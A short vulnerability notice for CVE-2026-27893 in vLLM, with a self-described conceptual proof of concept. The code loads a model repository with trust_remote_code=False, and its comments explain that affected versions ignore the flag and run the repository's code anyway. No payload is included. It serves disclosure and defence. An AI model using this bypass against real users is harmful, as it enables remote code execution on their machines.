CVE-2026-27893 vLLM远程代码执行漏洞

# Proof of Concept (Conceptual) # This PoC demonstrates the bypass of trust_remote_code=False. # It requires a malicious model repository structure. import os from vllm import LLM # Simulate a malicious model path (attacker controlled) malicious_model_path = "./malicious_model_repo" # The user explicitly sets trust_remote_code to False to prevent RCE print("Attempting to load model with trust_remote_code=False...") try: # In vulnerable versions (0.10.1 - <0.18.0), the hardcoded value inside # specific model implementations overrides this user setting. llm = LLM( model=malicious_model_path, trust_remote_code=False, # Security opt-out download_dir="./tmp" ) print("Model loaded. If vulnerable, code from the model repo has already executed.") except Exception as e: print(f"Error: {e}") # Expected behavior in vulnerable versions: # The code inside 'malicious_model_repo/modeling_malicious.py' would execute # regardless of the trust_remote_code=False flag.